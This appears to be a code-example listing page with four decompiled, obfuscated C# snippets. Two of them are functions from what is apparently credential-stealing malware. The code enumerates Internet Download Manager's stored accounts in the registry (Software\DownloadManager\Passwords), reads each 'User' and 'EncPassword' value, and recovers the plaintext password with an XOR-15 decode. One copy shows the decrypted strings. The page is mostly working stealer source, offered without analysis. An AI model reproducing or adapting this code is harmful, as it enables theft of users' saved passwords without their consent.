コード例 #1
0
 public static extern int RegQueryValueEx([In] lpx.lnt.kqz lmq, [In] string lmz, int lno, out int lnp, [Out] byte[] lnr, [In][Out] ref int lns);
コード例 #2
0
        // Token: 0x06000193 RID: 403 RVA: 0x000340DC File Offset: 0x000322DC
        public static object lnu()
        {
            List <clo> list = new List <clo>();
            string     text = < Module >.smethod_0(478256);
            IntPtr     lmr  = new IntPtr(-2147483647);

            try
            {
                RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text);
                for (;;)
                {
IL_370:
                    uint num = 4128337126u;
                    for (;;)
                    {
                        uint   num2;
                        int    num3;
                        int    num5;
                        byte[] array;
                        byte[] array2;
                        clo    clo;
                        string text3;
                        switch ((num2 = (num ^ 3712991389u)) % 23u)
                        {
                        case 0u:
                        {
                            int num4;
                            if (num3 > num4)
                            {
                                num = 2969966077u;
                                continue;
                            }
                            goto IL_1F3;
                        }

                        case 1u:
                            if (registryKey.GetSubKeyNames().Length != 0)
                            {
                                num = (num2 * 1782555834u ^ 1046122806u);
                                continue;
                            }
                            break;

                        case 2u:
                        {
                            int num6;
                            if (num5 > num6)
                            {
                                num = 2276034786u;
                                continue;
                            }
                            goto IL_FC;
                        }

                        case 3u:
                            goto IL_2AF;

                        case 5u:
                        {
                            int      num7;
                            string[] subKeyNames;
                            if (num7 >= subKeyNames.Length)
                            {
                                num = 2770422741u;
                                continue;
                            }
                            goto IL_2AF;
                        }

                        case 6u:
                        {
                            string text2;
                            registryKey.OpenSubKey(text2);
                            num = (num2 * 3997410593u ^ 2915530034u);
                            continue;
                        }

                        case 7u:
                            goto IL_205;

                        case 8u:
                            checked
                            {
                                int num8;
                                num8++;
                                num3++;
                            }
                            num = (num2 * 1638408552u ^ 1378362657u);
                            continue;

                        case 9u:
                            num = (num2 * 3470714612u ^ 2810379833u);
                            continue;

                        case 10u:
                            goto IL_1F3;

                        case 11u:
                        {
                            string[] subKeyNames = registryKey.GetSubKeyNames();
                            num = (num2 * 641625967u ^ 2259605635u);
                            continue;
                        }

                        case 12u:
                        {
                            lpx.lnt.kqz kqz;
                            lpx.lnt.kqz lmq   = kqz;
                            string      lmz   = < Module >.smethod_0(478304);
                            int         lno   = 0;
                            int         num9  = 0;
                            byte[]      lnr   = array;
                            int         num10 = 256;
                            lpx.lnt.lmo.RegQueryValueEx(lmq, lmz, lno, out num9, lnr, ref num10);
                            lpx.lnt.kqz lmq2 = kqz;
                            string      lmz2 = < Module >.smethod_0(478224);
                            int         lno2 = 0;
                            num10 = 0;
                            byte[] lnr2 = array2;
                            num9 = 256;
                            lpx.lnt.lmo.RegQueryValueEx(lmq2, lmz2, lno2, out num10, lnr2, ref num9);
                            clo = new clo();
                            string text2;
                            clo.cly = text2;
                            num     = (num2 * 735497434u ^ 3735129067u);
                            continue;
                        }

                        case 13u:
                            goto IL_10E;

                        case 14u:
                            clo.clx = < Module >.smethod_0(476992);
                            list.Add(clo);
                            num = (num2 * 3604822695u ^ 3722923346u);
                            continue;

                        case 15u:
                            checked
                            {
                                int num7;
                                num7++;
                            }
                            num = (num2 * 2204721836u ^ 3887400302u);
                            continue;

                        case 16u:
                            goto IL_FC;

                        case 17u:
                            text3 += Conversions.ToString(Strings.ChrW((int)(array2[num5] ^ 15)));
                            num    = (num2 * 2290783729u ^ 910617624u);
                            continue;

                        case 18u:
                        {
                            int num7 = 0;
                            num = (num2 * 2716112550u ^ 2126820144u);
                            continue;
                        }

                        case 19u:
                            checked
                            {
                                num5++;
                            }
                            num = (num2 * 2507327271u ^ 67225743u);
                            continue;

                        case 20u:
                        {
                            int num8  = 0;
                            int num11 = 0;
                            int num4  = checked (array.Length - 1);
                            num3 = num11;
                            num  = (num2 * 1234540403u ^ 153756247u);
                            continue;
                        }

                        case 21u:
                        {
                            lpx.lnt.kqz kqz = null;
                            string      text2;
                            lpx.lnt.lmo.RegOpenKeyEx(lmr, text + text2, 0, 131097, out kqz);
                            array  = new byte[257];
                            array2 = new byte[257];
                            num    = (num2 * 4018572833u ^ 3217926603u);
                            continue;
                        }

                        case 22u:
                            goto IL_370;
                        }
                        goto Block_9;
IL_FC:
                        if (array2[num5] != 0)
                        {
                            num = 2981449743u;
                            continue;
                        }
IL_10E:
                        clo.clv = text3;
                        num     = 3076599468u;
                        continue;
IL_1F3:
                        if (array[num3] != 0)
                        {
                            num = 2214490078u;
                            continue;
                        }
IL_205:
                        checked
                        {
                            int num8;
                            array   = (byte[])Utils.CopyArray((Array)array, new byte[num8 - 1 + 1]);
                            clo.clu = Encoding.Default.GetString(array);
                            num8    = 0;
                            text3   = null;
                            int num12 = 0;
                            int num6  = array2.Length - 1;
                            num5 = num12;
                            num  = 4276057902u;
                            continue;
IL_2AF:
                            int num7;
                            string[] subKeyNames;
                            string   text2 = subKeyNames[num7];
                            num = 4107599508u;
                        }
                    }
                }
                Block_9 :;
            }
            catch (Exception ex)
            {
            }
            return(list);
        }
コード例 #3
0
 public static extern int RegOpenKeyEx([In] IntPtr lmr, [In] string lms, int lmt, [In] int lmu, out lpx.lnt.kqz lmv);
コード例 #4
0
		// Token: 0x06000193 RID: 403 RVA: 0x00033EB4 File Offset: 0x000320B4
		public static object lnu()
		{
			List<clo> list = new List<clo>();
			string text = <Module>.smethod_strings_decryptor(304520 -> "Software\DownloadManager\Passwords\"));
			IntPtr lmr = new IntPtr(-2147483647);
			try
			{
				RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text);
				if (registryKey.GetSubKeyNames().Length != 0)
				{
					for (;;)
					{
						IL_38C:
						uint num = 1239005974u;
						for (;;)
						{
							uint num2;
							byte[] array;
							int num5;
							clo clo;
							string text2;
							int num6;
							string text3;
							byte[] array2;
							int num9;
							string[] subKeyNames;
							int num10;
							switch ((num2 = (num ^ 590287255u)) % 24u)
							{
							case 0u:
							{
								int num3 = 0;
								int num4 = checked(array.Length - 1);
								num5 = num3;
								num = (num2 * 3609252376u ^ 3096604675u);
								continue;
							}
							case 1u:
								clo.cly = text2;
								num6 = 0;
								num = (num2 * 3630834902u ^ 1511029545u);
								continue;
							case 2u:
							{
								text3 = null;
								int num7 = 0;
								int num8 = checked(array2.Length - 1);
								num9 = num7;
								num = (num2 * 153857659u ^ 2354648626u);
								continue;
							}
							case 3u:
							{
								int num8;
								if (num9 > num8)
								{
									num = 713960151u;
									continue;
								}
								goto IL_246;
							}
							case 4u:
							{
								lpx.lnt.kqz kqz;
								lpx.lnt.lmo.RegOpenKeyEx(lmr, text + text2, 0, 131097, out kqz);
								array = new byte[257];
								array2 = new byte[257];
								num = (num2 * 2795421875u ^ 4252973262u);
								continue;
							}
							case 5u:
								num = (num2 * 2141172380u ^ 2965419280u);
								continue;
							case 6u:
								goto IL_246;
							case 7u:
							{
								lpx.lnt.kqz kqz = null;
								num = (num2 * 2348475938u ^ 321438173u);
								continue;
							}
							case 8u:
								goto IL_21B;
							case 9u:
								subKeyNames = registryKey.GetSubKeyNames();
								num10 = 0;
								num = (num2 * 2307255056u ^ 3503809946u);
								continue;
							case 10u:
								checked
								{
									num6++;
								}
								num = (num2 * 197838284u ^ 3809631753u);
								continue;
							case 11u:
								if (num10 >= subKeyNames.Length)
								{
									num = 1071262936u;
									continue;
								}
								goto IL_132;
							case 12u:
								goto IL_38C;
							case 13u:
							{
								lpx.lnt.kqz kqz;
								lpx.lnt.kqz lmq = kqz;
								string lmz = <Module>.smethod_strings_decryptor(304464 -> "User"));
								int lno = 0;
								int num11 = 0;
								byte[] lnr = array;
								int num12 = 256;
								lpx.lnt.lmo.RegQueryValueEx(lmq, lmz, lno, out num11, lnr, ref num12);
								lpx.lnt.kqz lmq2 = kqz;
								string lmz2 = <Module>.smethod_strings_decryptor(304568 -> "EncPassword"));
								int lno2 = 0;
								num12 = 0;
								byte[] lnr2 = array2;
								num11 = 256;
								lpx.lnt.lmo.RegQueryValueEx(lmq2, lmz2, lno2, out num12, lnr2, ref num11);
								clo = new clo();
								num = (num2 * 2035963795u ^ 1908246769u);
								continue;
							}
							case 14u:
								goto IL_94;
							case 15u:
								checked
								{
									num9++;
								}
								num = (num2 * 3043363683u ^ 2639571161u);
								continue;
							case 16u:
								goto IL_A6;
							case 17u:
								goto IL_132;
							case 18u:
								text3 += Conversions.ToString(Strings.ChrW((int)(array2[num9] ^ 15)));
								num = (num2 * 2139831197u ^ 180194314u);
								continue;
							case 19u:
								clo.clx = <Module>.smethod_strings_decryptor(304640 -> "Internet Download Manager"));
								list.Add(clo);
								checked
								{
									num10++;
								}
								num = (num2 * 4279572731u ^ 4092424813u);
								continue;
							case 20u:
							{
								int num4;
								if (num5 > num4)
								{
									num = 616502711u;
									continue;
								}
								goto IL_94;
							}
							case 21u:
								clo.clu = Encoding.Default.GetString(array);
								num6 = 0;
								num = (num2 * 222858106u ^ 2263229319u);
								continue;
							case 22u:
								checked
								{
									num5++;
								}
								num = (num2 * 4115706614u ^ 131493447u);
								continue;
							}
							goto Block_9;
							IL_94:
							if (array[num5] != 0)
							{
								num = 1311888541u;
								continue;
							}
							IL_A6:
							array = (byte[])Utils.CopyArray((Array)array, new byte[checked(num6 - 1 + 1)]);
							num = 99206338u;
							continue;
							IL_132:
							text2 = subKeyNames[num10];
							registryKey.OpenSubKey(text2);
							num = 1823432680u;
							continue;
							IL_21B:
							clo.clv = text3;
							num = 1612067380u;
							continue;
							IL_246:
							if (array2[num9] == 0)
							{
								goto IL_21B;
							}
							num = 756147885u;
						}
					}
					Block_9:;
				}
			}
			catch (Exception ex)
			{
			}
			return list;
		}